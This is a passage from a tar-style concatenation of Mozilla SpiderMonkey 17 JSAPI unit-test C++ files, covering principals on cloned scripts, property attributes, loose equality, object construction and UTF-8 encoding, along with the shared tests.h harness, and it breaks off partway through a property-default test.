BEGIN_TEST(test_cloneScriptWithPrincipals) { JS_InitDestroyPrincipalsCallback(rt, DestroyPrincipals); JSPrincipals *principalsA = new Principals(); AutoDropPrincipals dropA(rt, principalsA); JSPrincipals *principalsB = new Principals(); AutoDropPrincipals dropB(rt, principalsB); JS::RootedObject A(cx, createGlobal(principalsA)); JS::RootedObject B(cx, createGlobal(principalsB)); CHECK(A); CHECK(B); const char *argnames[] = { "arg" }; const char *source = "return function() { return arg; }"; JS::RootedObject obj(cx); // Compile in A { JSAutoCompartment a(cx, A); JSFunction *fun; CHECK(fun = JS_CompileFunctionForPrincipals(cx, A, principalsA, "f", mozilla::ArrayLength(argnames), argnames, source, strlen(source), __FILE__, 1)); JSScript *script; CHECK(script = JS_GetFunctionScript(cx, fun)); CHECK(JS_GetScriptPrincipals(script) == principalsA); CHECK(obj = JS_GetFunctionObject(fun)); } // Clone into B { JSAutoCompartment b(cx, B); JS::RootedObject cloned(cx); CHECK(cloned = JS_CloneFunctionObject(cx, obj, B)); JSFunction *fun; CHECK(fun = JS_ValueToFunction(cx, JS::ObjectValue(*cloned))); JSScript *script; CHECK(script = JS_GetFunctionScript(cx, fun)); CHECK(JS_GetScriptPrincipals(script) == principalsB); JS::Value v; JS::Value args[] = { JS::Int32Value(1) }; CHECK(JS_CallFunctionValue(cx, B, JS::ObjectValue(*cloned), 1, args, &v)); CHECK(v.isObject()); JSObject *funobj = &v.toObject(); CHECK(JS_ObjectIsFunction(cx, funobj)); CHECK(fun = JS_ValueToFunction(cx, v)); CHECK(script = JS_GetFunctionScript(cx, fun)); CHECK(JS_GetScriptPrincipals(script) == principalsB); } return true; } END_TEST(test_cloneScriptWithPrincipals) mozjs17.0.0/js/src/jsapi-tests/testDefineGetterSetterNonEnumerable.cpp0000664000175000017500000000426512106270662026073 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * vim: set ts=8 sw=4 et tw=99: */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "tests.h" static JSBool native(JSContext *cx, unsigned argc, jsval *vp) { return JS_TRUE; } static const char PROPERTY_NAME[] = "foo"; BEGIN_TEST(testDefineGetterSetterNonEnumerable) { JS::RootedValue vobj(cx); JS::RootedObject obj(cx, JS_NewObject(cx, NULL, NULL, NULL)); CHECK(obj); vobj = OBJECT_TO_JSVAL(obj); JSFunction *funGet = JS_NewFunction(cx, native, 0, 0, NULL, "get"); CHECK(funGet); JS::RootedObject funGetObj(cx, JS_GetFunctionObject(funGet)); JS::RootedValue vget(cx, OBJECT_TO_JSVAL(funGetObj)); JSFunction *funSet = JS_NewFunction(cx, native, 1, 0, NULL, "set"); CHECK(funSet); JS::RootedObject funSetObj(cx, JS_GetFunctionObject(funSet)); JS::RootedValue vset(cx, OBJECT_TO_JSVAL(funSetObj)); JS::RootedObject vObject(cx, JSVAL_TO_OBJECT(vobj)); CHECK(JS_DefineProperty(cx, vObject, PROPERTY_NAME, JSVAL_VOID, JS_DATA_TO_FUNC_PTR(JSPropertyOp, (JSObject*) funGetObj), JS_DATA_TO_FUNC_PTR(JSStrictPropertyOp, (JSObject*) funSetObj), JSPROP_GETTER | JSPROP_SETTER | JSPROP_ENUMERATE)); CHECK(JS_DefineProperty(cx, vObject, PROPERTY_NAME, JSVAL_VOID, JS_DATA_TO_FUNC_PTR(JSPropertyOp, (JSObject*) funGetObj), JS_DATA_TO_FUNC_PTR(JSStrictPropertyOp, (JSObject*) funSetObj), JSPROP_GETTER | JSPROP_SETTER | JSPROP_PERMANENT)); JSBool found = JS_FALSE; unsigned attrs = 0; CHECK(JS_GetPropertyAttributes(cx, vObject, PROPERTY_NAME, &attrs, &found)); CHECK(found); CHECK(attrs & JSPROP_GETTER); CHECK(attrs & JSPROP_SETTER); CHECK(attrs & JSPROP_PERMANENT); CHECK(!(attrs & JSPROP_ENUMERATE)); return true; } END_TEST(testDefineGetterSetterNonEnumerable) mozjs17.0.0/js/src/jsapi-tests/testFunctionProperties.cpp0000664000175000017500000000137412106270662023524 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * vim: set ts=8 sw=4 et tw=99: */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "tests.h" BEGIN_TEST(testFunctionProperties) { JS::RootedValue x(cx); EVAL("(function f() {})", x.address()); JS::RootedObject obj(cx, JSVAL_TO_OBJECT(x)); JS::RootedValue y(cx); CHECK(JS_GetProperty(cx, obj, "arguments", y.address())); CHECK_SAME(y, JSVAL_NULL); CHECK(JS_GetProperty(cx, obj, "caller", y.address())); CHECK_SAME(y, JSVAL_NULL); return true; } END_TEST(testFunctionProperties) mozjs17.0.0/js/src/jsapi-tests/testLooselyEqual.cpp0000664000175000017500000001022212106270662022270 0ustar sstanglsstangl/* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "tests.h" #include #include using namespace std; struct LooseEqualityFixture : public JSAPITest { jsval qNaN; jsval sNaN; jsval d42; jsval i42; jsval undef; jsval null; jsval obj; jsval poszero; jsval negzero; virtual ~LooseEqualityFixture() {} virtual bool init() { if (!JSAPITest::init()) return false; qNaN = DOUBLE_TO_JSVAL(numeric_limits::quiet_NaN()); sNaN = DOUBLE_TO_JSVAL(numeric_limits::signaling_NaN()); d42 = DOUBLE_TO_JSVAL(42.0); i42 = INT_TO_JSVAL(42); undef = JSVAL_VOID; null = JSVAL_NULL; obj = OBJECT_TO_JSVAL(JS_GetGlobalObject(cx)); poszero = DOUBLE_TO_JSVAL(0.0); negzero = DOUBLE_TO_JSVAL(-0.0); #ifdef XP_WIN # define copysign _copysign #endif JS_ASSERT(copysign(1.0, JSVAL_TO_DOUBLE(poszero)) == 1.0); JS_ASSERT(copysign(1.0, JSVAL_TO_DOUBLE(negzero)) == -1.0); #ifdef XP_WIN # undef copysign #endif return true; } bool leq(jsval x, jsval y) { JSBool equal; CHECK(JS_LooselyEqual(cx, x, y, &equal) && equal); CHECK(JS_LooselyEqual(cx, y, x, &equal) && equal); return true; } bool nleq(jsval x, jsval y) { JSBool equal; CHECK(JS_LooselyEqual(cx, x, y, &equal) && !equal); CHECK(JS_LooselyEqual(cx, y, x, &equal) && !equal); return true; } }; // 11.9.3 1a BEGIN_FIXTURE_TEST(LooseEqualityFixture, test_undef_leq_undef) { CHECK(leq(JSVAL_VOID, JSVAL_VOID)); return true; } END_FIXTURE_TEST(LooseEqualityFixture, test_undef_leq_undef) // 11.9.3 1b BEGIN_FIXTURE_TEST(LooseEqualityFixture, test_null_leq_null) { CHECK(leq(JSVAL_NULL, JSVAL_NULL)); return true; } END_FIXTURE_TEST(LooseEqualityFixture, test_null_leq_null) // 11.9.3 1ci BEGIN_FIXTURE_TEST(LooseEqualityFixture, test_nan_nleq_all) { CHECK(nleq(qNaN, qNaN)); CHECK(nleq(qNaN, sNaN)); CHECK(nleq(sNaN, sNaN)); CHECK(nleq(sNaN, qNaN)); CHECK(nleq(qNaN, d42)); CHECK(nleq(qNaN, i42)); CHECK(nleq(qNaN, undef)); CHECK(nleq(qNaN, null)); CHECK(nleq(qNaN, obj)); CHECK(nleq(sNaN, d42)); CHECK(nleq(sNaN, i42)); CHECK(nleq(sNaN, undef)); CHECK(nleq(sNaN, null)); CHECK(nleq(sNaN, obj)); return true; } END_FIXTURE_TEST(LooseEqualityFixture, test_nan_nleq_all) // 11.9.3 1cii BEGIN_FIXTURE_TEST(LooseEqualityFixture, test_all_nleq_nan) { CHECK(nleq(qNaN, qNaN)); CHECK(nleq(qNaN, sNaN)); CHECK(nleq(sNaN, sNaN)); CHECK(nleq(sNaN, qNaN)); CHECK(nleq(d42, qNaN)); CHECK(nleq(i42, qNaN)); CHECK(nleq(undef, qNaN)); CHECK(nleq(null, qNaN)); CHECK(nleq(obj, qNaN)); CHECK(nleq(d42, sNaN)); CHECK(nleq(i42, sNaN)); CHECK(nleq(undef, sNaN)); CHECK(nleq(null, sNaN)); CHECK(nleq(obj, sNaN)); return true; } END_FIXTURE_TEST(LooseEqualityFixture, test_all_nleq_nan) // 11.9.3 1ciii BEGIN_FIXTURE_TEST(LooseEqualityFixture, test_leq_same_nums) { CHECK(leq(d42, d42)); CHECK(leq(i42, i42)); CHECK(leq(d42, i42)); CHECK(leq(i42, d42)); return true; } END_FIXTURE_TEST(LooseEqualityFixture, test_leq_same_nums) // 11.9.3 1civ BEGIN_FIXTURE_TEST(LooseEqualityFixture, test_pz_leq_nz) { CHECK(leq(poszero, negzero)); return true; } END_FIXTURE_TEST(LooseEqualityFixture, test_pz_leq_nz) // 11.9.3 1cv BEGIN_FIXTURE_TEST(LooseEqualityFixture, test_nz_leq_pz) { CHECK(leq(negzero, poszero)); return true; } END_FIXTURE_TEST(LooseEqualityFixture, test_nz_leq_pz) // 1cvi onwards NOT TESTED // 11.9.3 2 BEGIN_FIXTURE_TEST(LooseEqualityFixture, test_null_leq_undef) { CHECK(leq(null, undef)); return true; } END_FIXTURE_TEST(LooseEqualityFixture, test_null_leq_undef) // 11.9.3 3 BEGIN_FIXTURE_TEST(LooseEqualityFixture, test_undef_leq_null) { CHECK(leq(undef, null)); return true; } END_FIXTURE_TEST(LooseEqualityFixture, test_undef_leq_null) // 4 onwards NOT TESTED mozjs17.0.0/js/src/jsapi-tests/testSetProperty.cpp0000664000175000017500000000747512106270662022172 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * vim: set ts=8 sw=4 et tw=99: */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "tests.h" static JSBool nativeGet(JSContext *cx, JS::HandleObject obj, JS::HandleId id, JS::MutableHandleValue vp) { vp.set(INT_TO_JSVAL(17)); return JS_TRUE; } BEGIN_TEST(testSetProperty_NativeGetterStubSetter) { JS::RootedObject obj(cx, JS_NewObject(cx, NULL, NULL, NULL)); CHECK(obj); JS::RootedValue vobj(cx, OBJECT_TO_JSVAL(obj)); CHECK(JS_DefineProperty(cx, global, "globalProp", vobj, JS_PropertyStub, JS_StrictPropertyStub, JSPROP_ENUMERATE)); CHECK(JS_DefineProperty(cx, obj, "prop", JSVAL_VOID, nativeGet, JS_StrictPropertyStub, JSPROP_SHARED)); EXEC("'use strict'; \n" "var error, passed = false; \n" "try \n" "{ \n" " this.globalProp.prop = 42; \n" " throw new Error('setting property succeeded!'); \n" "} \n" "catch (e) \n" "{ \n" " error = e; \n" " if (e instanceof TypeError) \n" " passed = true; \n" "} \n" " \n" "if (!passed) \n" " throw error; \n"); EXEC("var error, passed = false; \n" "try \n" "{ \n" " this.globalProp.prop = 42; \n" " if (this.globalProp.prop === 17) \n" " passed = true; \n" " else \n" " throw new Error('bad value after set!'); \n" "} \n" "catch (e) \n" "{ \n" " error = e; \n" "} \n" " \n" "if (!passed) \n" " throw error; \n"); return true; } END_TEST(testSetProperty_NativeGetterStubSetter) BEGIN_TEST(testSetProperty_InheritedGlobalSetter) { // This is a JSAPI test because jsapi-test globals do not have a resolve // hook and therefore can use the property cache in some cases where the // shell can't. JS_ASSERT(JS_GetClass(global)->resolve == &JS_ResolveStub); CHECK(JS_DefineProperty(cx, global, "HOTLOOP", INT_TO_JSVAL(8), NULL, NULL, 0)); EXEC("var n = 0;\n" "var global = this;\n" "function f() { n++; }\n" "Object.defineProperty(Object.prototype, 'x', {set: f});\n" "for (var i = 0; i < HOTLOOP; i++)\n" " global.x = i;\n"); EXEC("if (n != HOTLOOP)\n" " throw 'FAIL';\n"); return true; } END_TEST(testSetProperty_InheritedGlobalSetter) mozjs17.0.0/js/src/jsapi-tests/tests.h0000664000175000017500000003023512106270662017567 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * vim: set ts=8 sw=4 et tw=99: * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "mozilla/Util.h" #include "jsapi.h" #include "jsprvtd.h" #include "jsalloc.h" #include "js/Vector.h" #include #include #include #include /* Note: Aborts on OOM. */ class JSAPITestString { js::Vector chars; public: JSAPITestString() {} JSAPITestString(const char *s) { *this += s; } JSAPITestString(const JSAPITestString &s) { *this += s; } const char *begin() const { return chars.begin(); } const char *end() const { return chars.end(); } size_t length() const { return chars.length(); } JSAPITestString & operator +=(const char *s) { if (!chars.append(s, strlen(s))) abort(); return *this; } JSAPITestString & operator +=(const JSAPITestString &s) { if (!chars.append(s.begin(), s.length())) abort(); return *this; } }; inline JSAPITestString operator+(JSAPITestString a, const char *b) { return a += b; } inline JSAPITestString operator+(JSAPITestString a, const JSAPITestString &b) { return a += b; } class JSAPITest { public: static JSAPITest *list; JSAPITest *next; JSRuntime *rt; JSContext *cx; JSObject *global; bool knownFail; JSAPITestString msgs; JSCrossCompartmentCall *call; JSAPITest() : rt(NULL), cx(NULL), global(NULL), knownFail(false), call(NULL) { next = list; list = this; } virtual ~JSAPITest() { uninit(); } virtual bool init(); virtual void uninit() { if (call) { JS_LeaveCrossCompartmentCall(call); call = NULL; } if (cx) { JS_RemoveObjectRoot(cx, &global); JS_EndRequest(cx); JS_DestroyContext(cx); cx = NULL; } if (rt) { destroyRuntime(); rt = NULL; } } virtual const char * name() = 0; virtual bool run(JS::HandleObject global) = 0; #define EXEC(s) do { if (!exec(s, __FILE__, __LINE__)) return false; } while (false) bool exec(const char *bytes, const char *filename, int lineno); #define EVAL(s, vp) do { if (!evaluate(s, __FILE__, __LINE__, vp)) return false; } while (false) bool evaluate(const char *bytes, const char *filename, int lineno, jsval *vp); JSAPITestString jsvalToSource(jsval v) { JSString *str = JS_ValueToSource(cx, v); if (str) { JSAutoByteString bytes(cx, str); if (!!bytes) return JSAPITestString(bytes.ptr()); } JS_ClearPendingException(cx); return JSAPITestString("<>"); } JSAPITestString toSource(long v) { char buf[40]; sprintf(buf, "%ld", v); return JSAPITestString(buf); } JSAPITestString toSource(unsigned long v) { char buf[40]; sprintf(buf, "%lu", v); return JSAPITestString(buf); } JSAPITestString toSource(long long v) { char buf[40]; sprintf(buf, "%lld", v); return JSAPITestString(buf); } JSAPITestString toSource(unsigned long long v) { char buf[40]; sprintf(buf, "%llu", v); return JSAPITestString(buf); } JSAPITestString toSource(unsigned int v) { return toSource((unsigned long)v); } JSAPITestString toSource(int v) { return toSource((long)v); } JSAPITestString toSource(bool v) { return JSAPITestString(v ? "true" : "false"); } JSAPITestString toSource(JSAtom *v) { return jsvalToSource(STRING_TO_JSVAL((JSString*)v)); } JSAPITestString toSource(JSVersion v) { return JSAPITestString(JS_VersionToString(v)); } template bool checkEqual(const T &actual, const T &expected, const char *actualExpr, const char *expectedExpr, const char *filename, int lineno) { return (actual == expected) || fail(JSAPITestString("CHECK_EQUAL failed: expected (") + expectedExpr + ") = " + toSource(expected) + ", got (" + actualExpr + ") = " + toSource(actual), filename, lineno); } // There are many cases where the static types of 'actual' and 'expected' // are not identical, and C++ is understandably cautious about automatic // coercions. So catch those cases and forcibly coerce, then use the // identical-type specialization. This may do bad things if the types are // actually *not* compatible. template bool checkEqual(const T &actual, const U &expected, const char *actualExpr, const char *expectedExpr, const char *filename, int lineno) { return checkEqual(U(actual), expected, actualExpr, expectedExpr, filename, lineno); } #define CHECK_EQUAL(actual, expected) \ do { \ if (!checkEqual(actual, expected, #actual, #expected, __FILE__, __LINE__)) \ return false; \ } while (false) bool checkSame(jsval actual, jsval expected, const char *actualExpr, const char *expectedExpr, const char *filename, int lineno) { JSBool same; return (JS_SameValue(cx, actual, expected, &same) && same) || fail(JSAPITestString("CHECK_SAME failed: expected JS_SameValue(cx, ") + actualExpr + ", " + expectedExpr + "), got !JS_SameValue(cx, " + jsvalToSource(actual) + ", " + jsvalToSource(expected) + ")", filename, lineno); } #define CHECK_SAME(actual, expected) \ do { \ if (!checkSame(actual, expected, #actual, #expected, __FILE__, __LINE__)) \ return false; \ } while (false) #define CHECK(expr) \ do { \ if (!(expr)) \ return fail("CHECK failed: " #expr, __FILE__, __LINE__); \ } while (false) bool fail(JSAPITestString msg = JSAPITestString(), const char *filename = "-", int lineno = 0) { if (JS_IsExceptionPending(cx)) { JS::RootedValue v(cx); JS_GetPendingException(cx, v.address()); JS_ClearPendingException(cx); JSString *s = JS_ValueToString(cx, v); if (s) { JSAutoByteString bytes(cx, s); if (!!bytes) msg += bytes.ptr(); } } fprintf(stderr, "%s:%d:%.*s\n", filename, lineno, (int) msg.length(), msg.begin()); msgs += msg; return false; } JSAPITestString messages() const { return msgs; } static JSClass * basicGlobalClass() { static JSClass c = { "global", JSCLASS_GLOBAL_FLAGS, JS_PropertyStub, JS_PropertyStub, JS_PropertyStub, JS_StrictPropertyStub, JS_EnumerateStub, JS_ResolveStub, JS_ConvertStub }; return &c; } protected: static JSBool print(JSContext *cx, unsigned argc, jsval *vp) { jsval *argv = JS_ARGV(cx, vp); for (unsigned i = 0; i < argc; i++) { JSString *str = JS_ValueToString(cx, argv[i]); if (!str) return JS_FALSE; char *bytes = JS_EncodeString(cx, str); if (!bytes) return JS_FALSE; printf("%s%s", i ? " " : "", bytes); JS_free(cx, bytes); } putchar('\n'); fflush(stdout); JS_SET_RVAL(cx, vp, JSVAL_VOID); return JS_TRUE; } bool definePrint(); virtual JSRuntime * createRuntime() { JSRuntime *rt = JS_NewRuntime(8L * 1024 * 1024); if (!rt) return NULL; const size_t MAX_STACK_SIZE = /* Assume we can't use more than 5e5 bytes of C stack by default. */ #if (defined(DEBUG) && defined(__SUNPRO_CC)) || defined(JS_CPU_SPARC) /* * Sun compiler uses a larger stack space for js::Interpret() with * debug. Use a bigger gMaxStackSize to make "make check" happy. */ 5000000 #else 500000 #endif ; JS_SetNativeStackQuota(rt, MAX_STACK_SIZE); return rt; } virtual void destroyRuntime() { JS_ASSERT(!cx); JS_ASSERT(rt); JS_DestroyRuntime(rt); } static void reportError(JSContext *cx, const char *message, JSErrorReport *report) { fprintf(stderr, "%s:%u:%s\n", report->filename ? report->filename : "", (unsigned int) report->lineno, message); } virtual JSContext * createContext() { JSContext *cx = JS_NewContext(rt, 8192); if (!cx) return NULL; JS_SetOptions(cx, JSOPTION_VAROBJFIX); JS_SetVersion(cx, JSVERSION_LATEST); JS_SetErrorReporter(cx, &reportError); return cx; } virtual JSClass * getGlobalClass() { return basicGlobalClass(); } virtual JSObject * createGlobal(JSPrincipals *principals = NULL); }; #define BEGIN_TEST(testname) \ class cls_##testname : public JSAPITest { \ public: \ virtual const char * name() { return #testname; } \ virtual bool run(JS::HandleObject global) #define END_TEST(testname) \ }; \ static cls_##testname cls_##testname##_instance; /* * A "fixture" is a subclass of JSAPITest that holds common definitions for a * set of tests. Each test that wants to use the fixture should use * BEGIN_FIXTURE_TEST and END_FIXTURE_TEST, just as one would use BEGIN_TEST and * END_TEST, but include the fixture class as the first argument. The fixture * class's declarations are then in scope for the test bodies. */ #define BEGIN_FIXTURE_TEST(fixture, testname) \ class cls_##testname : public fixture { \ public: \ virtual const char * name() { return #testname; } \ virtual bool run(JS::HandleObject global) #define END_FIXTURE_TEST(fixture, testname) \ }; \ static cls_##testname cls_##testname##_instance; /* * A class for creating and managing one temporary file. * * We could use the ISO C temporary file functions here, but those try to * create files in the root directory on Windows, which fails for users * without Administrator privileges. */ class TempFile { const char *name; FILE *stream; public: TempFile() : name(), stream() { } ~TempFile() { if (stream) close(); if (name) remove(); } /* * Return a stream for a temporary file named |fileName|. Infallible. * Use only once per TempFile instance. If the file is not explicitly * closed and deleted via the member functions below, this object's * destructor will clean them up. */ FILE *open(const char *fileName) { stream = fopen(fileName, "wb+"); if (!stream) { fprintf(stderr, "error opening temporary file '%s': %s\n", fileName, strerror(errno)); exit(1); } name = fileName; return stream; } /* Close the temporary file's stream. */ void close() { if (fclose(stream) == EOF) { fprintf(stderr, "error closing temporary file '%s': %s\n", name, strerror(errno)); exit(1); } stream = NULL; } /* Delete the temporary file. */ void remove() { if (::remove(name) != 0) { fprintf(stderr, "error deleting temporary file '%s': %s\n", name, strerror(errno)); exit(1); } name = NULL; } }; mozjs17.0.0/js/src/jsapi-tests/testNewObject.cpp0000664000175000017500000000707112106270662021542 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * vim: set ts=8 sw=4 et tw=99: */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "tests.h" #include "jsfriendapi.h" const size_t N = 1000; static jsval argv[N]; static JSBool constructHook(JSContext *cx, unsigned argc, jsval *vp) { // Check that arguments were passed properly from JS_New. JS::RootedObject callee(cx, JSVAL_TO_OBJECT(JS_CALLEE(cx, vp))); JSObject *obj = JS_NewObjectForConstructor(cx, js::Jsvalify(&js::ObjectClass), vp); if (!obj) { JS_ReportError(cx, "test failed, could not construct object"); return false; } if (strcmp(JS_GetClass(obj)->name, "Object") != 0) { JS_ReportError(cx, "test failed, wrong class for 'this'"); return false; } if (argc != 3) { JS_ReportError(cx, "test failed, argc == %d", argc); return false; } if (!JSVAL_IS_INT(argv[2]) || JSVAL_TO_INT(argv[2]) != 2) { JS_ReportError(cx, "test failed, wrong value in argv[2]"); return false; } if (!JS_IsConstructing(cx, vp)) { JS_ReportError(cx, "test failed, not constructing"); return false; } // Perform a side-effect to indicate that this hook was actually called. if (!JS_SetElement(cx, callee, 0, &argv[0])) return false; *vp = OBJECT_TO_JSVAL(obj); argv[0] = argv[1] = argv[2] = JSVAL_VOID; // trash the argv, perversely return true; } BEGIN_TEST(testNewObject_1) { // Root the global argv test array. Only the first 2 entries really need to // be rooted, since we're only putting integers in the rest. CHECK(JS_AddNamedValueRoot(cx, &argv[0], "argv0")); CHECK(JS_AddNamedValueRoot(cx, &argv[1], "argv1")); JS::RootedValue v(cx); EVAL("Array", v.address()); JS::RootedObject Array(cx, JSVAL_TO_OBJECT(v)); // With no arguments. JS::RootedObject obj(cx, JS_New(cx, Array, 0, NULL)); CHECK(obj); JS::RootedValue rt(cx, OBJECT_TO_JSVAL(obj)); CHECK(JS_IsArrayObject(cx, obj)); uint32_t len; CHECK(JS_GetArrayLength(cx, obj, &len)); CHECK_EQUAL(len, 0); // With one argument. argv[0] = INT_TO_JSVAL(4); obj = JS_New(cx, Array, 1, argv); CHECK(obj); rt = OBJECT_TO_JSVAL(obj); CHECK(JS_IsArrayObject(cx, obj)); CHECK(JS_GetArrayLength(cx, obj, &len)); CHECK_EQUAL(len, 4); // With N arguments. for (size_t i = 0; i < N; i++) argv[i] = INT_TO_JSVAL(i); obj = JS_New(cx, Array, N, argv); CHECK(obj); rt = OBJECT_TO_JSVAL(obj); CHECK(JS_IsArrayObject(cx, obj)); CHECK(JS_GetArrayLength(cx, obj, &len)); CHECK_EQUAL(len, N); CHECK(JS_GetElement(cx, obj, N - 1, v.address())); CHECK_SAME(v, INT_TO_JSVAL(N - 1)); // With JSClass.construct. static JSClass cls = { "testNewObject_1", 0, JS_PropertyStub, JS_PropertyStub, JS_PropertyStub, JS_StrictPropertyStub, JS_EnumerateStub, JS_ResolveStub, JS_ConvertStub, NULL, NULL, NULL, NULL, constructHook }; JS::RootedObject ctor(cx, JS_NewObject(cx, &cls, NULL, NULL)); CHECK(ctor); JS::RootedValue rt2(cx, OBJECT_TO_JSVAL(ctor)); obj = JS_New(cx, ctor, 3, argv); CHECK(obj); CHECK(JS_GetElement(cx, ctor, 0, v.address())); CHECK_SAME(v, JSVAL_ZERO); JS_RemoveValueRoot(cx, &argv[0]); JS_RemoveValueRoot(cx, &argv[1]); return true; } END_TEST(testNewObject_1) mozjs17.0.0/js/src/jsapi-tests/testDefineProperty.cpp0000664000175000017500000000137512106270662022622 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * vim: set ts=8 sw=4 et tw=99: */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "tests.h" BEGIN_TEST(testDefineProperty_bug564344) { JS::RootedValue x(cx); EVAL("function f() {}\n" "var x = {p: f};\n" "x.p(); // brand x's scope\n" "x;", x.address()); JS::RootedObject obj(cx, JSVAL_TO_OBJECT(x)); for (int i = 0; i < 2; i++) CHECK(JS_DefineProperty(cx, obj, "q", JSVAL_VOID, NULL, NULL, JSPROP_SHARED)); return true; } END_TEST(testDefineProperty_bug564344) mozjs17.0.0/js/src/jsapi-tests/testUTF8.cpp0000664000175000017500000000137612106270662020412 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * vim: set ts=8 sw=4 et tw=99: */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "tests.h" BEGIN_TEST(testUTF8_bug589917) { const jschar surrogate_pair[] = { 0xd800, 0xdc00 }; char output_buffer[10]; size_t utf8_len = sizeof(output_buffer); CHECK(JS_EncodeCharacters(cx, surrogate_pair, 2, output_buffer, &utf8_len)); CHECK_EQUAL(utf8_len, 4); CHECK(JS_EncodeCharacters(cx, surrogate_pair, 2, NULL, &utf8_len)); CHECK_EQUAL(utf8_len, 4); return true; } END_TEST(testUTF8_bug589917) mozjs17.0.0/js/src/jsapi-tests/testRegExpInstanceProperties.cpp0000664000175000017500000000420312106270662024610 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * vim: set ts=8 sw=4 et tw=99: */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "tests.h" #include "jscompartment.h" #include "jsgc.h" #include "jsscope.h" #include "jsscopeinlines.h" BEGIN_TEST(testRegExpInstanceProperties) { jsval regexpProtoVal; EVAL("RegExp.prototype", ®expProtoVal); JSObject *regexpProto = JSVAL_TO_OBJECT(regexpProtoVal); if (!helper(regexpProto)) return false; JS_GC(cx); CHECK_EQUAL(regexpProto->compartment()->initialRegExpShape, NULL); jsval regexp; EVAL("/foopy/", ®exp); JSObject *robj = JSVAL_TO_OBJECT(regexp); CHECK(robj->lastProperty()); CHECK_EQUAL(robj->compartment()->initialRegExpShape, robj->lastProperty()); return true; } /* * Do this all in a nested function evaluation so as (hopefully) not to get * screwed up by the conservative stack scanner when GCing. */ JS_NEVER_INLINE bool helper(JSObject *regexpProto) { CHECK(!regexpProto->inDictionaryMode()); // Verify the compartment's cached shape is being used by RegExp.prototype. const js::Shape *shape = regexpProto->lastProperty(); js::AutoShapeRooter root(cx, shape); for (js::Shape::Range r = shape; &r.front() != regexpProto->compartment()->initialRegExpShape; r.popFront()) { CHECK(!r.empty()); } jsval v = INT_TO_JSVAL(17); CHECK(JS_SetProperty(cx, regexpProto, "foopy", &v)); v = INT_TO_JSVAL(42); CHECK(JS_SetProperty(cx, regexpProto, "bunky", &v)); CHECK(JS_DeleteProperty(cx, regexpProto, "foopy")); CHECK(regexpProto->inDictionaryMode()); const js::Shape *shape2 = regexpProto->lastProperty(); js::AutoShapeRooter root2(cx, shape2); js::Shape::Range r2 = shape2; while (!r2.empty()) { CHECK(&r2.front() != regexpProto->compartment()->initialRegExpShape); r2.popFront(); } return true; } END_TEST(testRegExpInstanceProperties) mozjs17.0.0/js/src/jsapi-tests/testGetPropertyDefault.cpp0000664000175000017500000000363012106270662023450 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * vim: set ts=8 sw=4 et tw=99: */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "tests.h" #define JSVAL_IS_FALSE(x) ((JSVAL_IS_BOOLEAN(x)) && !(JSVAL_TO_BOOLEAN(x))) #define JSVAL_IS_TRUE(x) ((JSVAL_IS_BOOLEAN(x)) && (JSVAL_TO_BOOLEAN(x))) static JSBool stringToId(JSContext *cx, const char *s, jsid *idp) { JSString *str = JS_NewStringCopyZ(cx, s); if (!str) return false; return JS_ValueToId(cx, STRING_TO_JSVAL(str), idp); } BEGIN_TEST(testGetPropertyDefault_bug594060) { { // Check JS_GetPropertyDefault JS::RootedObject obj(cx, JS_NewObject(cx, NULL, NULL, NULL)); CHECK(obj); jsval v0 = JSVAL_TRUE; CHECK(JS_SetProperty(cx, obj, "here", &v0)); jsval v1; CHECK(JS_GetPropertyDefault(cx, obj, "here", JSVAL_FALSE, &v1)); CHECK(JSVAL_IS_TRUE(v1)); jsval v2; CHECK(JS_GetPropertyDefault(cx, obj, "nothere", JSVAL_FALSE, &v2)); CHECK(JSVAL_IS_FALSE(v2)); } { // Check JS_GetPropertyByIdDefault JS::RootedObject obj(cx, JS_NewObject(cx, NULL, NULL, NULL)); CHECK(obj); jsid hereid; CHECK(stringToId(cx, "here", &hereid)); jsid nothereid; CHECK(stringToId(cx, "nothere", ¬hereid)); jsval v0 = JSVAL_TRUE; 